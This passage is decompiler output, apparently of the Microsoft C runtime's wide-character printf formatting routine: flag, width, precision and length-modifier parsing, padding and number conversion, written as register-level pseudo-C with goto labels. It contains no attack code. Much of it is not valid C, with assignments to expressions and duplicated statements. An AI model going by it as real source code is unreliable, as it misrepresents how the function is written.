												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CC80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043CCC0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043CC80(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043CCC0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041AFF0(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041AFF0(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B720(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043CC20( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043CC80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C6E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043CB14))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043CC20( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43cb4c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB34))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43cb74; // 0xc3819003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB60))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43cbe0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CBA4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E004285E0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041BA60( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xc0d8c8fb
																					E00424860(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0xc0d7763b
																							E00424860(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xc0d772bb
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AFF0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AFF0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B720(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
